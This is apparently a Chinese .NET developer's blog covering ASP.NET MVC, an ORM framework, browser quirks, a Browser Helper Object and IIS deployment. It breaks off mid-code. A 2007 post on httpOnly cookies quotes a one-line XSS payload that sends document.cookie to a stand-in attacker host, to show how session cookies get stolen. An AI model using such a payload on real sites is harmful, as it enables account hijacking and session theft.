RSS 2.0 Feed

Thursday, January 24, 2008

虽然是小事情,不过也在这里说一下.

最近因为工作的问题,新买了一台SONY的笔记本.

现在的笔记本都是安装VISTA的, 想安装XP吧, 还找不到硬盘.

而且因为没有软驱, 所以安装时也弄不了硬盘驱动.

这个问题只好以后有空的时候解决了.

现在用VISTA安装了VS2003后, 出现了一个很严重的问题.

使用FIND IN FILES功能时, VS2003会停止响应.

上网找相关信息, 有人已经报告这个问题了.

不过MS说不管VS2003了. 

 

后来发现了另外一台VISTA的电脑不存在这个问题.

以对比原来是WINDOWS THEMES的问题.

只要把WINDOWS外观, 改成比较难看的标准模式,(就像WIN2000那样..)

就能把问题解决掉了.

 

希望这个记录对VISTA下用VS2003的同行有帮助.

 

 

 

posted @ | Feedback (11) | Filed Under [ 迷失中 ]

Tuesday, December 11, 2007

让 ASP.NET MVC 支持 HotSwap

下载这次的例子代码 [ http://www.cnblogs.com/Files/Lostinet/Asp35Website1.zip ]

 

在HowToStart那帖中,我提到了ASP.NET MVC的问题 :
如果修改一次Controller的代码,就导致ASP.NET重启一次 , 那么会不会很麻烦?

有时候一个项目大一点, ASP.NET启动一次需要几十秒, 那样的等待真的很浪费时间.

与思归的交谈中, 他提到了HotSwap的概念. "热插拔" - 编写代码后不需要重新编译或重启ASP.NET.


怎样实现这个功能呢? 现在MVC的文档很少. 只能通过Reflector去找答案了.

一个Request,从Url, 一直到了具体的 Controller , 经过了那些步骤呢?

下面列出了这个步骤的详细:
1. Url
2. RouteTable
3. MvcRouteHandler
4. MvcHandler
5. ControllerBuilder
6. ControllerFactory
7. Controller

这个过程中, MvcRouteHandler 是连接 RouteTable 和 MvcHandler 的桥梁.

MvcHandler则根据传递过来的信息, 根据某种规则, 从所有的Assembly中找到对应的Controller类

然后把类型信息传递给 ControllerBuilder/ControllerFactory , 用于指定一个更具体的Controller.
(类似RuntimeEntity那篇文章说的子类化模式..)

看来, 需要对MvcHandler下手了. 而 MvcRouteHandler 则就是 MvcHandler 的 Factory.

所以同时也要编写MvcRouteHandler的实现 :
public class HotSwapMvcRouteHandler : System.Web.Mvc.MvcRouteHandler
{
    protected override IHttpHandler GetHttpHandler(System.Web.Mvc.RequestContext requestContext)
    {
        HotSwapMvcHandler handler = new HotSwapMvcHandler();
        handler.RequestContext = requestContext;
        return handler;
    }
}
public class HotSwapMvcHandler : System.Web.Mvc.MvcHandler
{
    protected override Type GetControllerType(string controller)
    {
        string name = controller + "Controller";
        string file = "~/Controllers/" + name + ".cs";
        if (!System.IO.File.Exists(HttpContext.Current.Server.MapPath(file)))
            return base.GetControllerType(controller);
        System.Reflection.Assembly assembly = System.Web.Compilation.BuildManager.GetCompiledAssembly(file);
        return assembly.GetType(name, true, true);
    }
}

上面2个类, 写在App_Code里就OK了, 然后, 需要修改一下 RouteTable 的写法:
RouteTable.Routes.Add(new Route
{
    Url = "[controller]/[action]/[id]",
    Defaults = new { action = "Index", id = "" },
    RouteHandler = typeof(HotSwapMvcRouteHandler)
});

注意一下 , RouteHandler由MvcRouteHandler替换成 HotSwapMvcRouteHandler 了.
这样HotSwapMvcRouteHandler的代码就能够被执行, 返回HotSwapMvcHandler

HotSwapMvcHandler 这里得到了一个 controller 的参数, 就是它了.
我们要做的事情,就是根据它 , 找到我们想要的 Controller

上面的GetControllerType的具体实现也实在太简单了.
如果存在 ~/Controllers/XxxControler.cs
就编译它, 然后直接返回 XxxController 类型.
否则就按传统的方式去寻找对应的类.

----

OK , 就这样2步, 就实现了在 ~/Controllers/ 中存放Controller代码的目的了.
重温一下这2步:
1. App_Code中增加 HotSwapMvcRouteHandler , HotSwapMvcHandler
2. Global.asax中修改RouteTable的定义


然后,就可以在 ~/Controllers/ 下增加 TestController.cs , 内容是
public class TestController : Controller
{
    [ControllerAction]
    public void Index()
    {
        ViewData["typename"] = this.GetType().AssemblyQualifiedName;
        ViewData["version"] = "version5";
        RenderView("index");
    }
}

然后创建对应的 ~/Views/Test/index.aspx 把东西显示出来:
index.aspx
<hr />
<%=ViewData["version"] %>
<hr />
<%=ViewData["typename"] %>
<hr />
<%=Application["mystr"] = "1" + Application["mystr"]%>

显示:
version5
--------------------------------------------------------------------------------
TestController, App_Web_testcontroller.cs.39ee6e8a.c0bebgfm, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
--------------------------------------------------------------------------------
111

不断地刷新它,  Application["mystr"]就会越来越长.

然后去修改 TestController.cs 把. 把ViewData["version"] = "version123";
那么就会立刻生效, 显示version123,而Application["mystr"]没有重置, 证明ASP.NET并没有重启.


想提高开发的方便性的朋友 , 不妨试试上面的代码.


 

posted @ | Feedback (7) | Filed Under [ AspNet ]

Monday, December 10, 2007

有没有人下载了ASP.NET MVC ?

无法知道如何开始.

用VS Web Developer Express 2008,有项目模板 [ASP.NET 3.5 Extensions Web Site],

新建了,只有一个web.config里包含了一些必要的配置. 例如UrlRoutingModule.

建立了Controllers目录,建立了一个TestController类

然后建立Views目录,在下面继续建个Test目录.

然后浏览http://localhost:3759/Asp35Website1/Test/. 很不幸. 无法找到资源.

不知道还需要配置些什么. 请大家在这里聊聊.


 

posted @ | Feedback (8) | Filed Under [ 迷失中 ]

Saturday, November 10, 2007

自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.

这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .

而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.


但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?

例如 , 假如你用FireFox登录博客园(www.cnblogs.com), 然后到一个恶意的用户的文章去.

你知道cnblogs.com允许用户随意增加javascript的.

那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:

hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)

当然,ASP.NET发送给客户端的信息是加密过的.

但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.

 

所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.

但是如果使用IE6SP1,IE7,就不会存在该问题.

因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.

posted @ | Feedback (7) | Filed Under [ Browser AspNet ]

RuntimeEntity除了简单易用,性能优越之外. 还有一些很有特色的机制:

负载平衡下的缓存版本控制.

通常如果一个使用缓存的应用程序,都会遇到一个问题:
如何保证每个进程的缓存都是最新的?
如果每个进程中的数据不是最新,那么一个应用程序将会发生不可预知的错误.
这种不稳定性是会让人睡不了觉的.
通常一些系统会有这样的做法:
1.完全不做缓存的同步或检查 , 错误就错误, 由它.
有时候这种做法也是无奈的,因为项目资金有限,或者架构上已经定型.不好处理.
2.使用分布式架构, 用一台服务器访问数据/或者缓存数据.
这个做法的最大问题就是导致序列化的开销. 大大地降低系统性能.

RuntimeEntity使用一种特殊的缓存方案.
具体的原理是,在每台服务器上, 都自行存放数据.
当服务器上的代码通过RuntimeEntity加载数据时,
RuntimeEntity会去向"版本服务器"查询数据的版本.
也就是说,这个方案和分布式缓存最大的不同就是 ,
每台服务器需要较大的内存 , 但是只进行极少的数据通信, 完全避免序列化.

这个方案通过配置完成. 完全不需要改动代码.
使用RuntimeEntity编写一次代码 , 就轻易实现在性能方面的伸缩性要求.

数据库服务器端并发检查

RuntimeEntity提供了2个级别的并发检查.
默认是应用程序进程内的对象的自动锁定,尽量避免并发问题.
一旦出现数据的并发错误,就会抛出异常,阻止错误的操作,保证数据的正确性.

这种级别的并发检查, 适合部署在单进程的Web服务器中.
一旦需要部署在多个服务器中进行负载平衡 , 那么单靠进程内检查是远远不够的.

所以RuntimeEntity提供了,和DLinq类似的, 数据库服务器端的并发检查.
一旦要进行UPDATE/DELETE,就会发送所有的本地数据到数据库上进行比较.

这个操作会稍微降低性能. 但是它是可选的. 只需要进行配置就OK. 无需额外编码.

开发人员还可以使用Timestamp类型进行更好的检查机制.
(在数据表加一个Timestamp字段就OK了,无需编码)
这个也是数据库服务器端的检查,而且性能更好.


强大的子类化扩展方案

当一家软件公司希望开发通用的应用程序时, 总会遇到一个问题:
如何在不修改现有代码的情况下,改变系统的默认行为,针对具体情况进行扩展?

RuntimeEntity在不改动代码的情况下, 直接提供一个子类化的扩展方案.
具体原理就是RuntimeEntity的代码编写中, 是不存在new MyRecord()这样的创建对象的方式的.
任何NewRow,LoadRow操作创建对象,都是由RuntimeEntity代理.
当进行适当的配置后, 在执行例如RuntimeEntity.NewRow<MyEntity>()的时候,
RuntimeEntity就可以根据配置, 创建一个 MyAnotherEntity 对象:
public abstract class MyAnotherEntity : MyEntity
{
    override public void MyLogic()
    {
        base.MyLogic();
        MyCustomOperation();
    }
}
就如上面代码所示 , 通过override一个业务方法 , 直接就可以重写业务逻辑.


灵活,高性能的AOP方案

RuntimeEntity在运行的时候, 根据配置, 允许其他类拦截Entity上的virtual的方法.
这个功能非常有用. 尤其当架构师想实现一些插件,扩展功能的时候.
当一个Entity的任何virtual方法被调用,或者是进行INSERT/UPDATE/DELETE的时候,
都能通过配置的方式,让扩展的代码得到通知,获取改变参数/返回值.

而这个功能的实现方式, 是在运行时进行编译, 性能非常高. 而又无需安装VS插件之类的.

- - - - - - - -
这些高级的功能, 大多都是可以在运行时进行扩展.
而不需要改变编码规则. 这也是RuntimeEntity的名字的来由.

RuntimeEntity Preview 中并不包含以上所列的功能.

posted @ | Feedback (4) |

Friday, November 09, 2007

之前发过3个相关的文章:
AbstractRecord 预告. (关键字 ORM,ActiveRecord,DomainModel)
CSPAbstractRecord之Teddy's KB样式的性能报告.
近况:AbstractRecord改名为RuntimeEntity,以及一个MVC框架的预告.
因为最近比较忙. 所以一直没有继续做那个工程.

现在稍微空闲了些. 所以把之前做的版本整理了一下. 提供下载:
/Files/Lostinet/RuntimeEntityPreview.rar

压缩文件内容简介:
RuntimeEntityPreview.dll 这个dll就是框架的运行库.
RuntimeEntityGenerator 使用这个帮助生成对应的类.(不是必须)
RuntimeEntityPetshop 一个可以执行运行的例子. 根据PetShop改编. 需要关联Database文件夹内的数据库文件.
RuntimeEntityStart 一个中文描述的Console程序. 用于帮助读者最快速度了解RuntimeEntity.

什么人该下载它 ?
一 : 看过之前的文章的,感兴趣的,想测试一下性能的.
二 : 自己也写过数据库访问框架的,可以拿来对比一下.
三 : 一直都没找到合适自己的数据库访问框架的.
四 : 总觉得数据库访问框架很复杂,想学习又怕难的.
...

RuntimeEntityPreview有什么好玩的?
+ : 极简单的代码编写与定制模式. 虽然比不上SubSonic方便,但是比SubSonic拥有更多的定制能力.
+ : 极高性能的实现. 欢迎拿去与各种情况做性能的比较.
+ : 有自制的Linq Provider. 可以执行这样的代码:
var q = from row in Order.LinqSource
where row.Customer.City.Substring(3).Trim().StartsWith("don")
select row;
有兴趣的可以考虑用Reflector打开RuntimeEntityQuery<T>.QueryProvider研究一下.
+ : 支持DLinq. 通过实现MappingSource,用DLinq来访问数据库:
(但是目前RuntimeEntityMappingSource没有包含在RuntimeEntityPreview内)


关于更加具体的,如何使用这个RunimeEntity,可以参考AbstractRecord预告那篇文章.
或者参考这篇还没有开始写的文章: [占个位置 , 如何使用RuntimeEntity访问数据库]

另外我们正在找有一年经验以上初中级的界面程序员:
CuteSoft珠海办事处诚招2位界面程序员

posted @ | Feedback (1) | Filed Under [ AspNet ]

Thursday, October 11, 2007

AbstractRecord这个名字不是很好,因为我不是太喜欢AEIOU开头的名词.
所以我选择了一个在google上,记录很少的名字,作为这个数据库访问框架的名字:RuntimeEntity
这个框架远在8月份就已经完成了一大半.然后就停止了.因为这段时间无论是工作还是生活,都有更加重要的事情要做.
这个星期将完成那些重要的事情,我会用业余的时间,整理一下RuntimeEntity,然后发布一个预览版本.

这次写BLOG,完全是受微软ASP.NET MVC的刺激.
微软的新的MVC框架, 似乎抛弃了ASP.NET控件,抛弃了ASP.NET AJAX.
回归到纯粹Render HTML的地步.我完全无法理解微软的这个做法.

当然,在那个MVC中,程序员仍然可以用XmlHttpRequest,或者其他封装好的框架去进行AJAX,
但是ASP.NET AJAX呢?没有回发,这不止否认了ASP.NET AJAX,甚至还否认了ASP.NET本身.

微软这么大的公司,难道就没有一条兼容控件和ASP.NET AJAX的做法吗?
甚至沦落到被人骂是抄袭也在所不惜? 新的MVC框架出来了对ASP.NET又有什么意义?
为了变相承认,ASP.NET的控件模式已经不适合WEB的发展了?

请大家宽恕我对MS这么严厉的指控. 我的目的纯粹是想突出我的MVC框架的特色 : 支持控件的模板引擎.
其实当初, 我做的不是MVC, 而只是需要实现一个模板引擎, 用于把视图分离出来, 方便美工.
和网上的其他模板引擎是类似的, 利用PropertyBag和后期绑定, 把内容显示出来.
不同的地方只是语法方面很针对美工的编程水平, 做到条件和循环语句非常简单和适合WYSIWYG.

但是我把我的设计推荐给老板时, 一下就被否决了 : ASP.NET控件怎么办 ?
是的. 如果一个新的东西, 抛弃了太多成熟的技术, 那么固然这个新东西的设计可以更加自由.
但是这个新的东西, 能让人接受吗? 如果微软做一个, 那么依然会有很多人追捧. 再难也会有人接受.
但是像我这样微不足道的人, 要推广自己的技术, 就不是那么简单了.

就像MS内某位语言大师说的一样, DotNet在设计的时候, 为了兼容老的程序, 为了和不同程序之间的整合,
提供了很多"救生圈". DotNet的Interop就是一个很好的例子.

当我做RuntimeEntity的时候,提供了SQL语句的支持,就有人质疑了.
要分清楚的是,搞科研和搞工程是2回事.
现在我要做的东西,一定要是一种过渡的方案,既提供新的功能,又要和老功能兼容.

综上,我对我的模板引擎进行了革新. 让它支持ASP.NET的Control,Postback和AJAX.

其实其中的原理, 是非常简单的. 换个说法, 如果把这个引擎,说成是 "Layout", 我想会更加容易让人理解.

看看传统的ASP.NET页面 :
Test.aspx:
<table>
 <tr><td>Username:</td><td><asp:TextBox runat=server ID=Username></td></tr>
 <tr><td>Password:</td><td><asp:TextBox runat=server ID=Password></td></tr>
 <tr><td>&nbsp;</td><td><asp:Button runat=server ID="LoginBtn" Text="Login"></td></tr>
</table>

新的Layout方案:
Test.aspx:
<asp:TextBox runat=server ID=Username>
<asp:TextBox runat=server ID=Password>
<asp:Button runat=server ID="LoginBtn" Text="Login">

Test.view.html:
<table>
 <tr><td>Username:</td><td>{#render Username}</td></tr>
 <tr><td>Password:</td><td>{#render Password}</td></tr>
 <tr><td>&nbsp;</td><td>{#render LoginBtn}</td></tr>
</table>

新的方案把一个ASPX文件, 分割出另外一个html,用于装载Layout.
可以看到的是, 新的Test.aspx本身,已经完全没有排版了.
里面纯粹就是放置大量程序用到的控件.
而在Test.view.html,则定义了这个页面的布局.

把控件Render到Template中,就是这个MVC方案兼容ASP.NET的核心思想.

做到这一步,这个MVC框架就和其他的纯粹生成HTML的框架完全不同了.

1. 如何支持MasterPage?
Test.view.html的输出过程是这样的:
Page.Render -> MasterPage.Render -> MVC.Render -> 整合Test.view.html+控件
也就是说,这个模板的输出目标, 不是Response, 而是控件Render过程中的一个部分.
这个部分的内容被MasterPage包围着, 所以能很方便地应用上MasterPage.

2. 如何做到回发?
回发和回发后调用控件的事件,是ASP.NET最重要的思想. 也是我不能离开ASP.NET的原因.
其他的所谓[ControllerAction],都不会比这个方便.因为ViewState能传递很多东西,而QueryString不能.
就如MasterPage的流程一样,控件被Render出去后,是和ASP.NET的回发机制兼容的.
当页面回发时,ASP.NET的其他基础流程依然能正常运作.
换个角度来说,这个MVC框架处理的只是Render的过程,改变了控件在浏览器上的位置.
这完全不会对ASP.NET的页面生命期造成任何影响.

3. 如何支持ASP.NET AJAX?
ASP.NET AJAX不愧是一种优秀的局部SmartNaviagtion方案.
它让程序员不需要花精力到DHTML中就能实现界面的局部刷新.
它的实现的机制,是通过拦截Page的Render过程,提取需要刷新的内容来返回给客户端.
这样一来,它就和我的MVC冲突了 : 2个都尝试拦截Render过程的东西, 又怎能放在一起工作 ?
这个MVC能支持AJAX的原因是, MVC拦截的不是Page,而只是内部一个控件的Render过程.
过程是 : AJAX-Page.Render -> Form.Render -> UpdatePanel.Render -> MVC.Render
可以看到的是, MVC.Render的过程, 是被包在UpdatePanel的Render里.
所以MVC生成的内容, 能够通过AJAX发送到客户端, 更新客户端的HTML.

---
其实这帖与其说是介绍帖,还不如说是技术研究帖.
希望能给各template的开发者一个新的思路.

posted @ | Feedback (13) | Filed Under [ AspNet ]

Wednesday, August 15, 2007

最近我在做一个开发框架以及在上面建立的应用程序.
开发框架中包含了一个叫 AbstractRecord 的技术.
这个技术用于访问数据库,但是我不愿意把它称为ORM.

这个东西将能够大大地提高基于数据库的程序的开发速度.

由于篇幅太长,我放到文章区去了.

http://blog.joycode.com/lostinet/articles/107276.aspx 

http://www.cnblogs.com/Lostinet/archive/2007/08/15/857039.html

posted @ | Feedback (10) | Filed Under [ 迷失中 AspNet ]

Thursday, November 03, 2005

Firefox XMLHttpRequest 的 BUG

Firefox中,当一个脚本的执行是由另外一个Frame的事件引起的,

则当前window的脚本使用XMLHttpRequest进行异步调用后,

结果将不能取得. 错误为0x80040111 NS_ERROR_NOT_AVAILABLE.

IE 真的很慢

同样的DHTML操作,当规模达到一定程度时,IE的DOM的速度就变得非常慢了.

这个比起FIREFOX,OPERA,真的慢很多. 例如FIREFOX需要1秒做完的事情,IE需要6秒..~

IE天生很容易有MEMORY LEAK. 做客户端开发挺麻烦.

我曾经是IE的Fans, 但是经过最近的开发, 并且下载了FireFox的Skin

我发现FireFox也是很好的!

不过说起Bug,兼容性等事情, IE始终比FIREFOX好很多.

直接用XMLHttpRequest吗?

我一直都用Rane. 以前是,现在还是.

有时我曾经想, 做AJAX应用, 来来回回同步数据的操作就那么几个,

是不是为了性能,可以考虑手工做XMLHttpRequest的调用呢?

我想我不会手工去做了. 手工写重复无聊的代码, 调试起来都觉得麻烦~ 不是吗?

客户端用什么模式来写?

之前一段时间喜欢打WOW,而且还顺便学了LUA. 从中学到了一种基于事件的编程方式. 还有那简单的,少参数的全局函数的调用真的很爽.

我开始认为, 客户端所保留的数据,不用面向对象会直观很多!

使用全局函数的方式代理与服务器的通信,采用事件的方式更新UI.

这些操作不需要面向对象,不需要XXContext了. 很方便.

所以我现在用的结构大概是:

数据库 - 数据库访问层 - 业务层 - INTERNET - 客户端数据事件模型 - 客户端界面.

其中, 服务器一如既往 . 而客户端界面则用面向对象. (像Bindows那样)

至于 客户端数据事件模型 , 它完全不认识界面. 一切调用通过事件完成 , 更多的, 请参考 WOW 的界面开发..呵呵..

 

posted @ | Feedback (26) | Filed Under [ Browser ]

Sunday, April 24, 2005

把VS.NET2005Beta2下载了下来,一直都没有好好地去研究一下。
今天突然想到一个有意思的Idea,关于程序中数据的获取方式的。
反正想试试而已,于是顺便练习了一下范型。

通常做数据缓存的时候,都是依靠Cache来实现的。
其实DotNet的垃圾回收和WeakReference类就可以用来做缓存了。
测试的代码如下:
下面说说大概的做法:
首先,在某个Context下(当然作成全局也可以。)
有一个储存这些数据的地方,在例子中是SomeContext._itemtable
而SomeContext.GetDataItem则使用一种类似Provider的方式来获取数据。
当执行GetDataItem时,需要指定一个key
如果_itemtable不存在这个key,则需要访问Provder来获取这个数据。
如果_itemtable已经有了这个数据了,则直接返回该数据就OK了。

当然,_itemtable和里面的Dictionary都不是 Cache 类型的,
那么数据是怎样自动释放的呢?

这里关键就是_itemtable里并不引用T类型的对象,它只储存WeakReference.
当T对象没有被任何引用,并且内存紧张,DotNet进行回收的时候,~T()就会被调用。
~T()最好主动告诉SameContext.RemoveDataItem,它已经被回收啦。

所以,要执行SameContext.RemoveDataItem, T对象必须要引用着SameContext的实例,这使序列化有点麻烦。

当然如果要做序列化,那么就不要把_context也带过去了,~T()可以判断一下_context是否为空。
因为复制后对象并不是在_context._itemtable中的,并不存在回收的问题。

例子中还包含了一个 Products 属性。这个属性告诉了,怎样令Supplier本身是有生命的。
_products本身是为null的,一直到get_Products时,才开始使用_context来获取。
而且这个_products本身也算是缓存了。除非Supplier被回收了,否则就不需要重新访问数据库。

当然,基于这个也许能做很多更有意思的东西,例如基于这个来做一个ORM。
不过等有空的时候再完善这个模型吧。
 
-----------------------------------------------
如果希望目标的数据类型与这个模型无关,例如使用已有的数据类型,
那么可以使用后来做的DataPair<K,T>类来协助实现。

posted @ | Feedback (8) | Filed Under [ 迷失中 DotNet DotNet2学习 ]

DateTime.Now的精度是很低,这个低的意思是,两次获取的DateTime.Now的Ticks的差,只是一个较大数的整数倍。例如在我的机器上,这个差最小是10.114ms。所以,如果我用DateTime.Now来计算时间差,那么就无法精确到10ms以内。

后来发现ASP.NET的TRACE的精度很高,用Reflector看它的实现,发现了它是使用这两个方法的:

参考MSDN:How To: Time Managed Code Using QueryPerformanceCounter and QueryPerformanceFrequency

我自己了按照这个写了个类,代码如下

在ASP。NET的应用,可以在Global.asax的Application_BeginRequest事件中加入代码来纪录程序开始时的TickCount:

Context.Items["BeginRequestTickCount"]=A.GetTickCount();

然后在页面输出的后面:

<html>....
<div align="center">
<%=new TimeSpan(A.GetTickCount()-(long)Context.Items["BeginRequestTickCount"]).TotalMilliseconds%>
</div>
</body></html>

这样就可以达到获取页面运行时间值了。(当然输出TotalMilliseconds后Asp.Net还要一些后期工作的,不过这个时间应该只需要0.n ms)

--

posted @ | Feedback (18) | Filed Under [ DotNet AspNet ]

Monday, March 07, 2005

当使用

window.onunload=function(){...} 时,

如果窗口刷新或浏览其他页面,则该函数会被调用.

而如果窗口是被关闭时,则该函数不会被调用.

目前不清楚为什么会这样.

使用 window.attachEvent('onunload',function(){...});则可以解决问题.

Regards .

posted @ | Feedback (20) | Filed Under [ Browser ]

Sunday, February 27, 2005

BHO简介:
    BHO就是Browser Helper Object. 意思就是IE的插件..
    这里有一篇介绍. http://www.microsoft.com/mind/0598/browhelp.asp
    BHO关联原理 (BHO关联的是SHDOCVW,也就是说不只关联IE,下面全部用IE来说明)
    1.IE的窗口打开时,先寻找SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\ 这里的对应的是CLSID
    2.IE根据CLSID创建 BHO 对象,并且查找 IOleObjectWithSite 接口. (这个接口非常简单,只有SetSite和GetSite两个方法)
    3.IE把IWebBrowser2传到 BHO 的 SetSite 方法
    4.窗口关闭时,IE把 null 传到 BHO 的 SetSite 方法.
 
    也就是说,如果你要做一个BHO,那么要做以下几个步骤
    1.创建 COM 类型, 实现 IOleObjectWithSite
    2.在 SetSite 的时候, 得到IWebBrowser2 , 并且进行自定义的初始化 . (一般是关联IWebBrowser2的事件)
    3.注册COM类型,并且关联到SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\
 
OK , 下面来说说如何用 DotNet 做到这点 . 我这里有一个例子程序,是用 VS.NET2003 写的. 里面有一个 _steps.txt 解析了具体的过程.
 
 
要测试这个例子,你只需要编译这个工程,然后执行NetBHO.reg . 再重新打开IE就OK了.
 
_steps.txt 的内容为
 
重要的步骤是:
.引用 Interop.SHDocVw . 这个引用有点麻烦,因为要注册到COM,所以NetBHO必须是强名的。所以必须要用ildasm/ilasm对SHDocVw重新进行编译和引用。
.定义 IOleObjectWithSite . 代码在 oledef.cs 里. 这个定义是根据 DotNet COM Interop 的原则, 在我VC6的Include找到的IOleObjectWithSite的定义的基础上进行的.
.定义 class MyBHO : IObjectWithSite , 并且实现它. 这个相对还是容易了..

例子的实现是关联了一个 BeforeNavigate2事件 , 如果 url 是 ?keyword 或 http:///?keyword , 那么就转到 http://www.google.com/search?q=keyword 去.
也就是说,如果你在地址栏里输入 ?helloworld , 那么就会用 google 来查 helloworld

另外例子还关联了 NavigateComplete2事件, 并且在页面上插入了一条广告 ....

Regards ,Lostinet.

posted @ | Feedback (90) | Filed Under [ DotNet Browser ]

在FireFox下编写事件处理函数是很麻烦的事.
因为FireFox并没有 window.event . 如果要得到 event 对象,就必须要声明时间处理函数的第一个参数为event.

所以为了兼容IE与FireFox,一般的事件处理方法为:
btn.onclick=handle_btn_click;
function handle_btn_click(evt)
{
    if(evt==null)evt=window.event;//IE
    //处理事件.
}
对于简单的程序,这不算麻烦.

但对于一些复杂的程序,某写函数根本就不是直接与事件挂钩的.如果要把event传进该参数,那么所有的方法都要把event传来传去..这简直就是噩梦.

下面介绍一个解决这个麻烦事的方法,与原理.

JScript中,函数的调用是有一个 func.caller 这个属性的.
例如
function A()
{
    B();
}
function B()
{
    alert(B.caller);
}
如果B被A调用,那么B.caller就是A

另外,函数有一个arguments属性. 这个属性可以遍历函数当前执行的参数:
function myalert()
{
    var arr=[];
    for(var i=0;i        arr[i]=myalert.arguments[i];
    alert(arr.join("-"));
}
alert("hello","world",1,2,3)
就能显示 hello-world-1-2-3
(arguments的个数与调用方有关,而与函数的参数定义没有任何关系)

根据这两个属性,我们可以得到第一个函数的event对象:
btn.onclick=handle_click;
function handle_click()
{
    showcontent();
}
function showcontent()
{
    var evt=SearchEvent();
    if(evt&&evt.shiftKey)//如果是基于事件的调用,并且shift被按下
        window.open(global_helpurl);
    else
        location.href=global_helpurl;
}
function SearchEvent()
{
    func=SearchEvent.caller;
    while(func!=null)
    {
        var arg0=func.arguments[0];
        if(arg0)
        {
            if(arg0.constructor==Event) // 如果就是event 对象
                return arg0;
        }
        func=func.caller;
    }
    return null;
}
这个例子使用了SearchEvent来搜索event对象. 其中 'Event' 是 FireFox 的 event.constructor .
在该例子运行时,
SearchEvent.caller就是showcontent,但是showcontent.arguments[0]是空.所以 func=func.caller 时,func变为handle_click .
handle_click 被 FireFox 调用, 虽然没有定义参数,但是被调用时,第一个参数就是event,所以handle_click.arguments[0]就是event !

针对上面的知识,我们可以结合 prototype.__defineGetter__ 来实现 window.event 在 FireFox 下的实现:

下面给出一个简单的代码.. 有兴趣的可以补充

posted @ | Feedback (25) | Filed Under [ Browser AspNet ]

Wednesday, February 02, 2005

你的程序支持 IIS6 - Web Garden 吗?
 
很就没有更新BLOG了呵呵。 刚过来深圳,时间都是乱来的~~~
今天帮客户搞定一个部署上的问题,花了我半天的时间。。555。
 
后来才发现原来是IIS6 Web Garden的问题。
 
IIS6 Web Garden 指的是一个应用程序可以成多个进程(w3wp.exe)来执行,一次请求使用其中的一个。用这个的主要目的是提高程序的可用性。当其中一个进程发生错误,那么也不会影响其他进程。发生错误的进程可以根据规则关闭,而其他的进程则可以继续工作。
 
可惜不是每个应用程序都支持Web Garden的。 例如我做的那个就不是。
 
一般来说 , 不支持 Web Garden 的原因是各应用程序的内存状态是不同的。虽然是访问同一个网站 , 当访问第一个进程时,进程的内存如果纪录了某些重要的信息,而当访问第二个进程的时,却无法再得到那些信息时,那么程序就不一定能运行正常,或者会发生错误。
 
所以,一般使用 InProc HttpSessionState / HttpApplicationState / 静态变量来储存关键信息 的程序是不支持 Web Garden的。另外平时说Session信息丢失,也和这个有关。一般很多程序都使用Cache来储存临时数据,但如果某些被修改或删除的数据没有在该进程的Cache中得到更新,那么也会很容易导致程序出错。

如果你的程序用上面说的方法,并且在Windows2003/IIS6中发生奇怪的错误,那么请检查一下Web Garden的设置。


如果你希望应用程序支持Web Garden,甚至是支持集群,那么最简单的办法就是,尽量用Cookie来纪录登陆信息,以及所有的数据获取的动作都是从数据库中读取。例如Duwamish就是这种类型的程序。
 
如果一个应用程序连Web Garden都不支持,那么就更难支持集群了。

posted @ | Feedback (26) | Filed Under [ AspNet ]

Monday, December 13, 2004

通常一个类的constructor是protected的时候,是不希望用户直接调用它.
但是我发现可以用这么一个方法来实现调用:
 
关于protected成员的调用,以前有类似的blog的.关于protected的Quiz
protected的成员是不能变相被子类调用的,例如

是不能编译通过的,但constructor却能通过

当然,如果该类是sealed就不行了,那么protected和private也没有区别了.

posted @ | Feedback (17) | Filed Under [ DotNet ]

Friday, November 19, 2004

最近有病呆在家里,不是次就是睡,不只日夜颠倒了,还胖了不少。
不过空余的时间总不能浪费掉,所以开始了一个新的跨数据库访问组件。
不过那个组件要写比较长时间了,所以一时不会做得完。

不过今天用其中的技术做了个有用的例子,发到这里给大家参考一下。

这个例子的大概意思是,程序员参考存储的定义,写出一个接口出来,并且不需要写具体的实现代码,就能调用该接口了!
也就是说,程序员不需要写以下类似的代码了:

SqlCommand cmd=new SqlCommand("UpdateTopic",conn);
cmd.CommandType
=CommandType.StoredProcedure;

SqlParameter pTitle
=new SqlParameter("@title",SqlDbType.NVarChar,80);
pTitle.Value
=title;
cmd.Parameters.Add(pTitle);

//.


程序的例子如下

/****************************************************************\
 * 
 * 用 System.Reflection.Emit 来自动生成调用储存过程的实现!
 * 
 * By 
http://lostinet.com
 * 
 * Copyrights : Not-Reversed
 * 
\***************************************************************
*/


//使用的例子
namespace Lostinet.Sample
{
    
using System;
    
using System.Data;
    
using System.Data.SqlClient;
    
using System.Windows.Forms;

    
//定义一个接口,用于定义存储过程

    
interface INorthwindStoredProcedures
    
{
        
//定义存储过程对应的方法

        DataSet CustOrderHist(
string CustomerID);

        
//如果储存过程名字和方法名字不同,应该用SqlAccessAttribute来进行说明
        [SqlAccess("Employee Sales By Country")]
        DataTable EmployeeSalesByCountry(DateTime Beginning_Date,DateTime Ending_Date);

        
//more

        
//MORE Ideas..

        
//直接执行SQL语句?
        
//[SqlAccess(SqlAccessType.SqlQuery,"SELECT * FROM Employees WHERE EmployeeID=@EmpId")]
        
//DataTable SelectEmployee(int EmpId);
    }


    
class ConsoleApplication
    
{
        [STAThread]
        
static void Main(string[] args)
        
{
            
using(SqlConnection conn=new SqlConnection("server=(local);trusted_connection=true;database=northwind"))
            
{
                
//一句话就把实现创建了!
                
//需要传如 SqlConnection 和 SqlTransaction
                
//SqlTransaction可以为null

                
//这个好就好在,只要能得到SqlConnection/SqlTransaction就能用这个方法了,所以兼容 Lostinet.Data.SqlScope
                INorthwindStoredProcedures nsp=(INorthwindStoredProcedures)
                    StoredProcedure.CreateStoredProcedureInterface(
